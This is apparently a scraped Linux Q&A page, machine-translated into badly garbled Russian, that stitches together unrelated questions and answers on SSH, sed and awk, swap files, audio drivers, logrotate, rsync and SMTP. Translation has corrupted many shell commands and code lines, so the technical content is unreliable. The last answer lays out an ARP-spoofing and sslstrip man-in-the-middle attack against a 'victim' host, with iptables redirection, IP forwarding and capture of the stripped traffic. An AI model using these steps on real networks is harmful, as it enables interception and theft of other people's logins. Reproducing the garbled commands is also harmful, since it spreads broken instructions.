SSH сессии через разрезы для OpenVPN выключения / блокировки после нескольких строк

У меня есть большое количество одинаковых безвентиляторный ПК под управлением Debian 6 (рука). Большинство из них подключен через Comcast и работает нормально. Есть некоторые, которые подключены к сети WiMAX модемы и возникают проблемы общения.

Конкретно: если я по SSH и выполнить команду 'ПС-топор' я получу около 3 линии назад и после сессии заперт. Если я позволю ему сидеть, в конце концов, он будет рядом с 'сессия закрыта сверстников'.

Что я пробовал:

  • СШ-ВВВ → без сообщений об ошибках
  • СШ <пользователь@хост> 'команда' → это иногда возвращает полный вывод команды. Иногда он не подключается вообще.

Предложения на другие вещи, чтобы попробовать?

Я обнаружил, что я могу успешно выполнить несколько команд: например, попасть в десяток раз или более в порядке. компакт-диск ~ и потом если работает как ДТ -З. Я могу запустить ДФ много раз успешно, но как только я пытаюсь что-то с больше выхода (например, LS и т. д.) оно блокируется.

Есть ли разница, что я пытаюсь общаться между этими двумя узлами с использованием OpenVPN?

+588
BaseZen 14 окт. 2018 г., 06:41:03
35 ответов

Нет, не должно быть никаких накладок в этом случае.ч в данной системе. Проверить значение errno.ч (скорее всего где-то в /usr/включать) для определяет, начиная с Е, а в ENOENT и такие, и сделать переключатель() заявление, обращение каждого случая. Тогда вы можете назвать свою собственную функцию для всех ошибок системных вызовов.

(Звучит много, как вы реализуете perror(3).

+977
dbees92 03 февр. '09 в 4:24

Допустим, что ваш текст в файл под названием Код

]$кот код
вход 1:вход 2:input3 не
ААА:ВВВ:ССС
111:222:333

выполните эту команду

]$СЭД -е 'ы/:[^:]*:/:новый текст:/' код
вход1:новый текст:input3 не
ААА:новый текст:ССС
111:новый текст:333
+949
Basil Rawa 10 нояб. 2014 г., 21:24:13
Другие ответы

Связанные вопросы


Похожие вопросы

СЭД - это действительно не самый лучший инструмент для работы, вы хотите что-то лучше возможности создания сценариев. Вот некоторые варианты:

  • на Perl

    на Perl -000pe с/мгновенный/$& . $./файл e' 
    

    В означает "печатать каждую строчку" после применения любой сценарий С . В -000 включается "режим пункт" поэтому записей (строк) определяются последовательным переводом строки (\п) символов, это позволяет ему справляться с двойной интервал линии правильно. $& - последний совпадает с шаблоном и $. - текущий номер строки входного файла. В Е В Ы///Е позволяет мне оценить выражения в замене оператора.

  • на awk (это предполагает, что ваши данные точно так, как показано, с тремя разделенными полями)

    на awk '{если(/./) печать $1,$2 ++к 3$; иначе печать} файл' 
    

    Здесь нам прирастить к переменной к , только если текущая строка не является пустой /./ в этом случае мы также печатаем необходимую информацию. Пустые строки печатаются как есть.

  • различные снаряды

     н=0; пока читала-Р А Б; делать 
     Если [ "$а" ] ; затем 
     (( Н++ ))
     е "%ы %ы%ы %з\п" "$" на "$б" - "$п" "$с"
    еще
     е "%ы %ы %з\п" "$" на "$б" - "$с"
    интернет
     сделано < файл 
    

    Здесь каждой входной строки автоматически разбиваются на пробелы и поля сохраняются как долларов, в$B и . Затем, внутри цикла дополненной по одному для каждой строки, для которой $, а не пустые, и это текущее значение напечатано рядом со вторым полем, .

Примечание: все вышеуказанные решения предположим, что все строки в файл такого же формата. Если нет, ответы @Стефан-это путь.


Для работы с большим количеством файлов, и предполагая, что вы хотите сделать это для всех файлов в текущей директории, вы можете использовать это:

для файл в ./*; сделать на Perl -я -000pe с/мгновенный/$& . $./файл e'"$"; сделано

Осторожно: что предполагает простые имена файлов без пробелов, если нужно заниматься чем-то более сложном, перейдите по (при условии ksh93, ЗШ или Баша):

найти . -тип F -print0 команды | пока ИФС= читайте -р-д "; сделать
 на Perl -я -000pe с/мгновенный/$& . $./файл e'"$"
сделано
+931
Grigore Teodor 6 нояб. 2019 г., 01:39:33

У вас есть пробел между - и Т удалить этого и он должен работать нормально:

смотреть -т -н 1 Дата +%Т
+926
flamemyst 31 июл. 2019 г., 00:00:49

Я хочу написать драйвер для Linux, который отображает мой указанный адрес памяти в /dev/fb0.

водитель должен быть указан, что в составе Linux? DRM или буфера или сервер X или что-то еще? Какие свойства должны у меня в моего водителя?

+912
Yuan Loong 18 авг. 2012 г., 04:58:40

Я пытаюсь устранить проблему с SMTP. Мои учетные данные прекрасно работают через ОС Х почтовый клиент (и в других областях), так что учетные данные, безусловно, хорошие. Однако, когда я пытаюсь представить их через: в openssl s_client -команды протокола SMTP -кода crlf -подключения по протоколу SMTP.почте.меня.ком:587, я получаю 535 ответ (сбой проверки подлинности).

Я использовал Wireshark, чтобы посмотреть обеих биржах, и они похожи, хотя я не понял, как расшифровать трафик, так как уметь видеть обменять почтового клиента в виде обычного текста.

[Edit: я пробовал свой аккаунт Gmail с помощью OpenSSL, и он прекрасно работает, используя простой двиг. Есть что-то странное о системы авторизации от Apple?]

Вот в OpenSSL обмен, анонимных, где это необходимо:

в openssl s_client -команды протокола SMTP -кода crlf -подключения по протоколу SMTP.почте.меня.в COM:587
Подключен(00000003)
глубина=2 /C=США/О=компания VeriSign, Inc. и/ОУ=VeriSign в целевой сети/ОУ=(с) 2006 компания VeriSign, Inc. и - Для разрешенного использования только/СN=VeriSign класса 3 государственный первичный сертификации - Г5
проверьте ошибки:Нум=20:не удалось получить местного поставщика сертификата
проверить возврат:0
---
Цепочки сертификатов 
 0 s:/C=US/ST=California/L=Cupertino/O=Apple Инк./СN=*.mail.me.com
 я:/с=нас/о=корпорацией VeriSign, Inc. и/ОУ=VeriSign в целевой сети/ОУ=Условия использования в https://www.verisign.com/rpa (с)10/СП=VeriSign класса 3 защищенный сервер ЦС - Г3
 1 s:/C=US/O=VeriSign Инк./ОУ=VeriSign в целевой сети/ОУ=Условия использования в https://www.verisign.com/rpa (с)10/СП=VeriSign класса 3 защищенный сервер ЦС - Г3
 я:/с=нас/о=корпорацией VeriSign, Inc. и/ОУ=VeriSign в целевой сети/ОУ=(с) 2006 компания VeriSign, Inc. и - Для разрешенного использования только/СN=VeriSign класса 3 государственный первичный сертификации - Г5
 2 s:/C=US/O=VeriSign Инк./ОУ=VeriSign в целевой сети/ОУ=(с) 2006 компания VeriSign, Inc. и - Для разрешенного использования только/СN=VeriSign класса 3 государственный первичный сертификации - Г5
 я:/с=нас/о=корпорацией VeriSign, Inc. и/ОУ=класс 3 государственный первичный орган по сертификации 
---
Сертификат сервера 
-----НАЧНИТЕ СЕРТИФИКАТА-----
MIIFC......персонажи сертификат....50bq4=
-----КОНЕЦ СЕРТИФИКАТ-----
тема=/с=нами/СТ=Калифорния/л=Купертино/О=компания Apple./СN=*.mail.me.com
эмитент=/с=нас/О=компания VeriSign, Inc. и/ОУ=VeriSign в целевой сети/ОУ=Условия использования в https://www.verisign.com/rpa (с)10/СП=VeriSign класса 3 защищенный сервер ЦС - Г3
---
Никаких имен клиентский сертификат ЦС отправили
---
Квитирование SSL прочитал 4717 байт и написано 491 байт
---
Новый, в протоколе TLSv1/SSLv3 там, шифрования AES128-ша
Открытый ключ сервера 2048 бит
Безопасный пересмотр поддерживается
Сжатие: нет
Расширения: нет
Протокол SSL-сессии:
 Протокол : В Протоколе TLSv1
 Шифр : AES128-ша
 Сессия-ID: 15987251B4A0B361AC3690B88A2A972C57747B5CAD15B613D92F6CE97284789F
 Сессии-идентификатор-СТХ: 
 Мастер-ключ: [длинная строка здесь]
 Ключ-Арг : Нет
 Время Начала: 1417991368
 Время ожидания : 300 (сек)
 Проверить код возврата: 0 (ОК)
---
250 размер 28311552
Эло тестирования
250-st11p00mm-asmtp002.mac.com
250-команда 8bitmime
250-конвейеризация
250-лязг
250-ДСН
250-ENHANCEDSTATUSCODES
250-EXPN
250-помочь
250-XADR
250-XSTA
250-XCIR
250-репутации онлайн
250-XLOOP 2CE0B8913D00E705D3D542BA5DF0FCE8
250-АВТ ПРОСТОЙ ЛОГИН ATOKEN
250-АВТ=ЛОГИН РАВНИНА
250-НЕТ-ВЫМОГАТЕЛЬСТВО
250 размер 28311552
ДВИГ ПРОСТОЙ
334 
[базовая-64 учетные данные, введенные здесь]
535 5.7.8 неверное имя пользователя или пароль (ошибка аутентификации).
+904
user7175478 26 июн. 2013 г., 16:28:51

Я хотел исправить, вернуться и заново разметку, чтобы дать себе немного виртуальной памяти, но блин..

Вам не нужно иметь полный раздел, посвященный подкачки, и вам не нужно переразметить.

Создать своп как файл довольно легко. Просто создать большой пустой файл, выполните команды mkswap на нее, затем добавить свопа.

# создать большой пустой файл 1GB (или любой размер вы хотите)
ДД, если=/dev/нуль=/файл подкачки БС=1М количество=1024
формат # файл подкачки
команды mkswap /подкачки
# включите его.
вызове swapon /подкачки

Если вы хотите сделать его постоянным добавить его в ваш fstab

/подкачки по умолчанию своп своп 0 0
+890
Bart Weber 7 мар. 2011 г., 02:32:34

Во время обучения на Linux я перешел по ссылке создание Yum-репозиторий. Я установил createrepo и все прошло нормально (я думаю). Теперь я хочу, чтобы отменить его путем удаления, uncreating, или неизменную каталог из репозитория. Может кто-нибудь помочь мне, пожалуйста с этим?

+834
Manikandan Chandrasekaran 24 нояб. 2019 г., 09:24:26

А ответ на вопрос вы связаны уже государств, МВ можем суффикс файлов, которые в противном случае вам перезаписывается файл двигаться с номером, чтобы дать им уникального имени файла:

МВ-резервное копирование=Т <исходный_файл> <файл_назначения>

Команда работает путем добавления следующего неиспользуемый суффикс к файлу, который был первым в каталог назначения. Этот файл вы движетесь сохранит свое первоначальное название.

Однако, это добавляет суффиксы, как .~1~, который, кажется, не то, что вы хотите:

$ общ.
файл.формат PDF
файл.формат PDF.~1~
файл.формат PDF.~2~

Вы можете переименовать эти файлы на втором этапе, хотя их имена в таком формате, как file_1.формат PDF вместо файла.формат PDF.~1~, например, такой:

переименовать с/((?:\..+)?)\.~(\д+)~$/_$2 1$/' *.~*~

Это принимает все файлы, которые заканчиваются нежелательного копирования суффиксы (путем сопоставления с оболочкой Глоб *.~*~) и позволяет переименовывать средство попробовать, чтобы соответствовать регулярному выражению ((?:\..+)?)\.~(\Д+)~$ на имя файла. Если это совпадает, он будет захватывать индекса от .~1~-как суффикс, а второй группы ($2) и, необязательно, если имя файла имеет расширение до этого суффиксами .в формате PDF, которые будут захвачены в первую группу ($1). Затем он заменяет полностью совпавшего название файла часть с _$2$1, вводя полученное значение вместо заполнителей правда.

В основном это будет переименовать, например, файл.формат PDF.~1~ в file_1.формат PDF и что-то.~42~ в something_42, но она не может обнаружить, является ли файл имеет несколько расширений, так например archive.tar.gz.~5~ станет archive.tar_5.gz

+831
dmikester1 18 мая 2012 г., 17:28:43

ГНУ говорить строго одноранговая, и упакован в большинство дистрибутивов.

+830
Sidra Baloch 27 авг. 2015 г., 03:14:35

у меня есть два файла,первый файл записывается число, например 123,и второй файл такой же, и я хочу сумму или разделить file_one плюс file_Two = 123 + 123 результат=246 я хочу, чтобы арифметическая последовательность на количество файлов.

+789
user1575 1 авг. 2016 г., 23:15:40

В команду lspci команда, кажется, не найти каких-либо звуковых устройств.

~$ с помощью lspci 
00:00.0 ведущего моста: корпорации Intel Atom процессор Z36xxx/Z37xxx SoC серии операции регистрации (Рэв 0С)
00:02.0 VGA совместимый контроллер: корпорации Intel Atom процессор Z36xxx/Z37xxx серии графика и дисплей (пересм 0С)
00:14.0 USB контроллер: корпорации Intel Atom процессор Z36xxx/Z37xxx серии USB xHCI, что (пересм 0С)
00:1А.Контроллер шифрования 0: корпорации Intel Atom процессор Z36xxx/Z37xxx серии надежных движка (оборотов 0С)
00:1Ф.0 ISA мост: корпорации Intel Atom процессор Z36xxx/Z37xxx серии Блок управления (Рэв 0С)

и alsamixer - это 100.

Здесь информация о аудио драйвер у меня из пакета драйверов для Windows:

<Имя_драйвера>для Realtek I2S для Аудио кодек</Имя_драйвера><Имя_класса>СМИ</Code>в<инф>oem20.инф</инф><HardwareIDs><спрятался>с ACPI\VEN_10EC&DEV_5640 с ACPI\10EC5640
*10EC5640 с ACPI\10EC5640 10EC5640</спрятал></HardwareIDs><ОС>82</вывода><имя>для Realtek I2S для аудио Codec.zip</Имяфайла></элемент><элемент><Имя_драйвера>Интел ССТ аудио устройства (WDM)</DriverName><ClassName>MEDIA</ClassName><Inf>oem10.inf</Inf><HardwareIDs><HID>ACPI\VEN_8086&DEV_0F28&SUBSYS_80867270 с ACPI\80860F28
*80860F28 с ACPI\80860F28 80860F28</спрятал></HardwareIDs><ОС>82</вывода><имя>процессор Intel ССТ аудио устройства (МДР).зип</Имяфайла></элемент><элемент>

После этого поста, Вот некоторые соответствующие выход:

~$ lsmod распечатывает | грэп СНД
snd_soc_sst_byt_rt5640_mach 12524 0 
snd_soc_rt5640 82914 0 
snd_soc_rl6231 12442 1 snd_soc_rt5640
snd_soc_core 147300 2 snd_soc_rt5640,snd_soc_sst_byt_rt5640_mach
snd_compress 17197 1 snd_soc_core
snd_pcm 88662 2 snd_soc_rt5640,snd_soc_core
snd_timer 26614 1 snd_pcm
СНД 65244 4 snd_soc_core,snd_timer,snd_pcm,snd_compress
soundcore 13026 1 СНД
regmap_i2c 12783 1 snd_soc_rt5640
snd_soc_sst_acpi 12559 0 
i2c_core 46012 8 дрм,i915,snd_soc_rt5640,i2c_hid,i2c_designware_platform,regmap_i2c,drm_kms_helper,i2c_algo_bit

~$ кошка /proc/asound/карты 
--- не звуковые карты ---

~$ игре -л
по умолчанию
 Воспроизведение/запись через звуковой сервер PulseAudio 
нуль
 Отбросить все образцы (воспроизведение) или создать нулевых проб (захват)
пульс
 С PulseAudio Звуковой Сервер
~$ групп |аудио грэп 
лм компакт-диска, дискеты, аудио-видео погружения plugdev netdev Bluetooth сканер ваш любимый редактор для редактирования

редактирование команды dmesg выход

есть довольно много пост в интернете о проблеме belowing, кажется, никто не нашел хорошего ответа...

 [ 3.647103] быт-быт rt5640-rt5640: Асок: с Wi-ПКМ-аудио процессор ДАИ не зарегистрированы
548 [ 3.647132] платформа БЮТ-rt5640: водитель БЮТ-rt5640 пробные запросы отсрочки 
549 [ 3.649476] USB на 1-1.1: новое USB-устройство найдено, idVendor=1017, idProduct=1006 
550 [ 3.649484] USB на 1-1.1: строки новых устройства USB: ПТР=0, произведение=0, где=0
551 [ 3.649689] USB на 1-1.1: ЕР 0x81 до округления интервал до 64 microframes, РД деск говорит 80 microframes
552 [ 3.649701] USB на 1-1.1: ЕР 0x82 - интервал округления до 64 microframes, РД деск говорит 80 microframes
553 [ 3.652310] быт-быт rt5640-rt5640: Асок: с Wi-ПКМ-аудио процессор ДАИ не зарегистрированы
554 [ 3.652338] платформа БЮТ-rt5640: водитель БЮТ-rt5640 пробные запросы отсрочки 
555 [ 3.653581] быт-быт rt5640-rt5640: Асок: с Wi-ПКМ-аудио процессор ДАИ не зарегистрированы
+692
nabilal mulani 3 февр. 2010 г., 19:05:54

Можно ли выполнить один скрипт, который считывает файл, содержащий список пакетов/приложений, проверяет, является ли каждый элемент уже установлен, и если нет, продолжить установку?

Я пытаюсь найти подход, который можно использовать в Установка приложений на ряд Виргинских сервера самостоятельно.

+645
PeterAlan 18 февр. 2013 г., 11:25:17

У меня есть два Java-процессов, которые работают, используя один и тот же файл имя, MyApp.jar (к примеру).

в /usr/Ява/последний/ОГРН/Ява -фляга MyApp.jar

Эти банки существуют в разных местах и используют различные конфигураций.

Я хочу быть в состоянии убить один процесс, но не знаю, как отличить одно от другого. Я исполняю:

 ПС вход aux | grep в [М]yApp.jar

И вам:

админ 21509 0.8 0.1 1199908 20484 ? Сл 08:21 0:00 /usr и/Ява/последний/ОГРН/Ява -фляга MyApp.jar
админ 21585 6.7 0.1 1199764 20084 ? Сл 08:21 0:00 

Я думал о создании процесса с некоторым параметром манекен уметь различать их:

в /usr/Ява/последний/ОГРН/Ява -фляга MyApp.jar MyAppTheFirst

и

в /usr/Ява/последний/ОГРН/Ява -фляга MyApp.jar MyAppTheSecond

Но это мне кажется немного неправильно. Есть ли лучший способ?

+607
Abraham Horowitz 9 сент. 2010 г., 10:49:28

Вы можете использовать Vim в режиме Ex:

экс -СК '%с/test.txt$/\tgreen/|х' 
  1. % выбрать все строки

  2. вкладке

  3. х сохранить и закрыть

+590
Mike Cole 17 февр. 2010 г., 11:11:31

Я пользуюсь i3wm с ArchLinux на двойную установку монитора довольно успешный. Когда я начинаю и3, я получаю одно рабочее пространство на каждый монитор. Для перемещения рабочей области на другом мониторе, я добавил следующее в мой ~/.и3/конфиг:

bindsym $мод+в mod1+вверх переместить рабочую область к выход
bindsym $мод+в mod1+вниз переместить рабочую область к выход
bindsym $мод+в mod1+левая переместить рабочую область на выходных оставили
bindsym $мод+в mod1+вправо переместить рабочую область для вывода правильно

Это позволяет мне перемещать рабочих в другой выход. Но иметь два браузера на разных рабочих областях (и если иное не настроено одно рабочее место содержит только один экран) можно просто перейти в браузере в рабочую область на другой экран, или просто на другом экране $мод+влево/вправо.

Здесь представлены все bindsym, связанные с позиционированием Windows, которые я использую:

# двигаться фокусируемое окно
bindsym $мод+Шифт+J и переместите левый
bindsym $мод+Шифт+K двигаться вниз
bindsym $мод+Шифт+л вверх
bindsym $мод+сдвиг+odiaeresis двигаться вправо

# шаг ориентирован контейнер в рабочей области
bindsym $мод+сдвиг+1 переместите контейнер в рабочей области 1
bindsym $мод+Шифт+2 переместите контейнер в рабочей области 2
bindsym $мод+Шифт+3 переместите контейнер в рабочей области 3
bindsym $мод+Шифт+4 переместите контейнер в рабочей области 4
bindsym $мод+сдвиг+5 перемещение контейнера в рабочую область 5
bindsym $мод+Шифт+6 перемещение контейнера в рабочую область 6
bindsym $мод+Шифт+7 переместить контейнер на рабочий стол 7
bindsym $мод+сдвиг+8 переместите контейнер в рабочей области 8
bindsym $мод+сдвиг+9 перемещение контейнера на рабочее место 9
bindsym $мод+Шифт+0 переместите контейнер в рабочей области 10

# переместить рабочую область на другой выход/монитор
bindsym $мод+в mod1+вверх переместить рабочую область к выход
bindsym $мод+в mod1+вниз переместить рабочую область к выход
bindsym $мод+в mod1+левая переместить рабочую область на выходных оставили
bindsym $мод+в mod1+вправо переместить рабочую область для вывода правильно
+583
Naeem Ul Wahhab 18 мая 2010 г., 00:43:13

Я бегу Кали 2.0 64-разрядный, и я недавно заметил, что система-демон запускается во время загрузки, прослушивает несколько портов UDP.

Как мне полностью отключить его, без продувки самого пакета?

Я пробовал команду sudo rcconf-выключить система-демон

Но есть предупреждение: Обслуживание 'система-демон' уже выключен. Вприпрыжку...

Затем я попытался судо обновление-РЦ.Д -Ф система-демон удалить

Она не производит никаких ошибок, ни предупреждений, но система-демон по-прежнему сохраняется во время загрузки.

Затем я попробовал редактировать /и т. д./По умолчанию/система-демон файл путем добавления AVAHI_DAEMON_START = 0

Но это не сработало.

Я ваще выскочка ручное управление -->> Эхо руководство | судо тройник в /etc/инит/система-демон.переопределить

И все равно не пойдет.

Пожалуйста, помогите,

Я в отчаянии уже!

Спасибо.

+550
Alberto Garcia 28 мая 2015 г., 14:29:35

У меня есть внешний USB-диск с меткой резервное копирование 1.

Я хочу установить его в точке монтирования /резервного сервера 1.

Для этого у меня есть следующие записи в моем файле fstab:

Метка=резервное копирование\0401 /резервного сервера 1 в ext4 по умолчанию 0 0

\040 соответствует пространство на этикетке название.

Нет, это прекрасно работает на другой диск с меткой резервное копирование 2, так что я знаю, что нет ничего плохого с записью.

Если смонтировать диск с помощью

крепление /резервного сервера 1

Он работает.

Однако, если смонтировать диск с помощью гнома Дисковая утилита, кажется, чтобы игнорировать файл fstab запись, и смонтировать его в /медиа/резервного копирования 1.

Это не так для других дисков, установленных таким образом.

Что бы вызвать маунта процесс игнорировать в fstab записи и закрепить его там?

Я мог бы добавить, что в прошлом я использовал диск с ярлыка на DVD. Очевидно, что один и тот же UUID, поэтому я хотел бы знать, есть ли запись в какой-то другой файл, который отвечает за это.

Я использую в CentOS 6.

+549
Shabbir Hussain 13 мая 2016 г., 20:59:13

Как отказ, я уже читал обзоры вопрос на эту тему, но все равно немного запутался в отношении ситуации я вижу.

Понимание системной нагрузки

а также:

Понимание верхней и средней нагрузке

Меня волнует нагрузка на один из моих серверов.

При запуске при, Он показывает, что у меня 40 ядер. Мои средние нагрузки 9.35, 9.58, 8.55.

Мои первые, хотя то, что это был высокий, но процессоры, установленные на сервер : Процессор Intel процессор Xeon Е5-2650V3 (2.3 ГГц/10-жил/25 МБ/105 Вт) ФИО набор Корпорация Intel процессор Xeon Е5-2650V3 процессор (2.3 ГГц/10-жил/25 МБ/105 Вт) комплект

Мое замешательство заключается в том, что я не знаю, почему кроме списков 40 ядер, но у меня только два 10-ядерных процессоров.

2 вопроса:

Если у меня есть два 10-ядерных процессоров (итого 20 ядер), является нагрузка 10 разумными?

Также, почему при шоу 40 ядер на вершине?

+531
Marcel Kebisek 22 июл. 2010 г., 21:40:34

Окончательный ответ:

{ найти <каталог> -тип Ф -имя "*.<ВН>" -е "%ов+"; Эхо 0; } | БК

и даже быстрее-версия не ограничена по объему оперативной памяти, но требуется GNU awk с поддержкой bignum:

найти <каталог> -тип F -имя "*.<ВН>" -е "%з\п" | поглазеть -М '{Т+=$1}конец{печати t}'

Эта версия имеет следующие особенности:

  • все возможности найти , чтобы указать файлы, которые вы ищете
  • поддерживает миллионы файлов
    • другие ответы здесь ограничены максимальная длина списка аргументов
  • спавнится только 3 простых процессов с минимальной пропускной способности трубы
    • многие ответы здесь отродясь с+N процессов, где c-некоторая константа, а n-количество файлов
  • не заморачивайтесь с обработки строк
    • эта версия не применение grep К, или regexing
    • ну, найти совсем простые шаблоны имен файлов
  • опционально форматы суммы в удобочитаемой форме (например. 5.5 К, 176.7 М, ...)
    • для этого добавление | numfmt элемента-к=Си
+512
Anton Averich 9 мая 2010 г., 04:28:27

Напрямую изменить файл /etc/systemd/system/getty.target.wants/[email protected] (который представляет собой символьную ссылку в/lib/systemd в/системы/Гетти@обслуживание):

Добавление -а/--автологина пользователя к линии:

ExecStart=-на/sbin/agetty / / медицинская физика --%Я $срок

Следовательно:

ExecStart=-на/sbin/agetty -имя пользователя %Я $срок

Вы также можете удалить -О-П -- \\У' (в настоящее время по текущему арки установка) как это запустить для входа имя пользователя но просит пароль.

После перезагрузки, вы будете подключены автоматически.

П. С. Изменить имя файла [email protected] на телетайп вы хотите войти.

+433
AAS 11 сент. 2011 г., 05:28:52

Я получил сообщение об ошибке. Это будет отправлен на мой почтовый ящик автоматически.

/и т. д./cron.ежедневные/у logrotate:
ошибка: ошибка открытия /var/log/apache2/access.log.1.gz: нет такого файла или каталога
ошибка: ошибка открытия /var/log/apache2/myhost/access.log.1.gz: нет такого файла или каталога

Я также проверьте мой файл/var/журнал/apache2 не/* и в/var/журнал/apache2 не/окружения myhost/* этих каталогах. Нет файла access.log.1.gzно наверняка файл открыть.журнал.1 существовали на каталоги. Я просто начать, чтобы настроить logrotate, предназначенную этот инструмент для моего журнала управление файлами и мои Апачи должны выполняться в течение длительного периода, не менее 30 файлов журналов существовали на мои каталоги. В настоящее время, я понятия не имею, почему это произошло как это.

Мой файл/etc/logrotate, предназначенную как ниже:

в /var/журнал/apache2 не/*.войти {
ежедневно
missingok
 поворот 10
компресс
delaycompress
# notifempty
 создать 640 корень адм
sharedscripts
postrotate
 в /etc/инит.д/apache2 не перезагрузить > /dev/нуль;
endscript
prerotate
 если [ -д в /etc/logrotate, предназначенную.д/с httpd-prerotate ]; тогда \
 выполнения части в /etc/logrotate, предназначенную.д/с httpd-prerotate; \
 интернет; \
endscript
}
в /var/журнал/apache2 не/окружения myhost/*.войти {
ежедневно
missingok
 поворот 10
компресс
delaycompress
# notifempty
 создать 640 корень адм
sharedscripts
postrotate
 в /etc/инит.д/apache2 не перезагрузить > /dev/нуль; \
endscript
prerotate
 если [ -д в /etc/logrotate, предназначенную.д/с httpd-prerotate ]; тогда \
 выполнения части в /etc/logrotate, предназначенную.д/с httpd-prerotate; \
 интернет; \
endscript
}
+360
JannisW 25 янв. 2017 г., 22:24:12

У меня есть скрипт резервного копирования, который использует сервер rsync -AVZ по ссылке ---дест=$oldbkp $источник $newbkp по своей сути. Проблема в том, что при помощи rsync много раз не распознает, что файл в $источник не изменилось и так явно копирует его в $newbkp вместо жестко связывая его с $oldbkp. Еще вызывает недоумение, что это несовместимо - есть несколько файлов, где жестким ссылкам создание работает, как ожидалось. Раздел резервного копирования файловой системы NTFS.

Как вы можете видеть здесь, резервного копирования всего час после того, как предыдущий займет всего 2 ГБ новых данных, когда содержание практически не изменилось вообще (это мой домашний ПК).

$ дю-ЭСК 20170424-1559 20170424-1724
2,6 г 20170424-1559
2.1 г 20170424-1724
4.6 г

Я пробовал статИнг некоторые примеры. Это не жесткую связь (SHA256 является одинаковым для всех):

$ стат 20170424-1559/документы/депеш 
 Файл: 20170424-1559/документы/депеш
 Размер: 21400 блоков: 48 IO блока: 4096 обычный файл
Устройство: 811h/2065d инода: 140380 ссылок: 1
Доступ: (0777/-rwxrwxrwx) номер uid: ( 1000/ Марек) с gid: ( 1000/ Марек)
Доступ: 2017-04-24 17:14:00.271104500 +0200
Изменения: 2016-08-01 16:30:38.000000000 +0200
Изменения: 2017-04-24 15:59:44.407252700 +0200
 Рождения: -

$ стат 20170424-1724/документы/депеш 
 Файл: 20170424-1724/документы/депеш
 Размер: 21400 блоков: 48 IO блока: 4096 обычный файл
Устройство: 811h/2065d инода: 361117 ссылок: 1
Доступ: (0777/-rwxrwxrwx) номер uid: ( 1000/ Марек) с gid: ( 1000/ Марек)
Доступ: 2017-04-24 17:24:55.732080500 +0200
Изменения: 2016-08-01 16:30:38.000000000 +0200
Изменения: 2017-04-24 17:24:55.736274500 +0200
 Рождения: -

$ стат ~/документы/депеш
 Файл: /главная/Марек/документы/депеш
 Размер: 21400 блоков: 48 IO блока: 4096 обычный файл
Устройство: 2ah/42Д инода: 4397 ссылок: 1
Доступ: (0644/-RW-р-р--) номер uid: ( 1000/ Марек) с gid: ( 1000/ Марек)
Доступ: 2017-03-07 09:51:07.681090473 +0100
Изменения: 2016-08-01 16:30:38.000000000 +0200
Изменения: 2016-11-06 19:58:14.053859011 +0100
 Рождения: -

Это один успешный жесткую связь (SHA256 были одинаковые):

$ стат 20170424-1559/Documents/ios7bkplist.txt 
 Файл: 20170424-1559/Documents/ios7bkplist.txt
 Размер: 1983 блоков: 8 ИО блока: 4096 обычный файл
Устройство: 811h/2065d инода: 344437 ссылок: 4
Доступ: (0777/-rwxrwxrwx) номер uid: ( 1000/ Марек) с gid: ( 1000/ Марек)
Доступ: 2017-04-24 15:59:44.574850700 +0200
Изменения: 2016-04-04 22:03:55.000000000 +0200
Изменения: 2017-04-24 17:24:56.022250400 +0200
 Рождения: -

$ стат 20170424-1724/Documents/ios7bkplist.txt 
 Файл: 20170424-1724/Documents/ios7bkplist.txt
 Размер: 1983 блоков: 8 ИО блока: 4096 обычный файл
Устройство: 811h/2065d инода: 344437 ссылок: 4
Доступ: (0777/-rwxrwxrwx) номер uid: ( 1000/ Марек) с gid: ( 1000/ Марек)
Доступ: 2017-04-24 15:59:44.574850700 +0200
Изменения: 2016-04-04 22:03:55.000000000 +0200
Изменения: 2017-04-24 17:24:56.022250400 +0200
 Рождения: -

$ стат ~/Documents/ios7bkplist.txt 
 Файл: /home/marek/Documents/ios7bkplist.txt
 Размер: 1983 блоков: 8 ИО блока: 4096 обычный файл
Устройство: 2ah/42Д инода: 4413 ссылок: 1
Доступ: (0777/-rwxrwxrwx) номер uid: ( 1000/ Марек) с gid: ( 1000/ Марек)
Доступ: 2017-02-28 20:03:32.858085513 +0100
Изменения: 2016-04-04 22:03:55.000000000 +0200
Изменения: 2016-11-06 19:58:14.550522987 +0100
 Рождения: -

В основном то же самое происходит, когда я использую с rsync в силу долгой проверки файлов.

Есть все, что я с видом?

+308
seekwod 4 сент. 2016 г., 16:26:12

Сказать, я написал следующую команду, но еще не нажал Enter, чтобы выполнить ее:

$ Общ dir1 и Директория dir2 dir3

Есть ли способ, чтобы заменить данные символы без вручную изменяя их в любом месте они? Например, я бы хотел, чтобы нажать несколько клавиш, ввести строку, которая будет заменена (скажем, реж) и затем введите другую строку в качестве замены (скажем, 'каталог`).

+290
Lord Blackthorn 1 нояб. 2018 г., 13:18:28

С Bash и grep

строка='если:* {{a|США}} {{enPR|wĕn|hwĕn}}, {{ПНД|/wɛn/|/ʍɛn/}}, {{х-сампа|/Вень/|/Вень/}}'
Компании IFS=$': \т' Читать -РА слова <<< "$строка"
по пункту в "${слова[@]}"; сделать
 если [[ $предмет == "{{ПНД|"* ]]; затем
 грэп -о '/[^/]\+/' <<< "$элемент" | в то время как читал -Р pronunc; делать
 Эхо "${слова[0]} ${pronunc//\//}"
сделано
интернет
сделано
+283
Adriana Albarran 7 дек. 2016 г., 11:26:55

Путем некоторых проб и ошибок, я нашел следующий раздел в мой файл/etc/ррр/параметры:

# Лицензией BSD ППС-2.4.2 вверх с MPPE только, ppp_mppe модуль ядра.о
# {{{
отказать-ППА
отказать-глава
отказать-протокола
# Требовать от сверстников, чтобы аутентифицировать себя с помощью MS-CHAPv2 [Майкрософт
# Вызов протокола аутентификации рукопожатия, Версия 2] Проверка подлинности.
требования-протокола версии 2
# Требовать MPPE 128-битное шифрование
# (обратите внимание, что MPPE требует использования протокола версии 2 во время проверки подлинности)
требуют-шифрование MPPE-128
# }}}

Закомментировав все те отказываются-* и требует* сделанные варианты проверки подлинности (и связи) успеха.

+273
user127515 30 сент. 2011 г., 04:39:53

Это должно помочь. https://www.cybrary.it/0p3n/using-sslstrip-in-kali-linux/

в iptables --заподлицо

в iptables --таблицы NAT --заподлицо

в iptables-удалить-цепь

в iptables --таблицы NAT-удалить-цепь

в iptables -Т физ-а следующее -п --назначение протокола TCP-порт 80 -й редирект-чтобы-порт 10000

Эхо 1 > /труды/системы/нетто/протоколов IPv4/ip_forward

arpspoof -я wlan1 -Т victim_ip router_ip

2-й терминал:

sslstrip -Вт arpSnifferfun.txt -л 10000

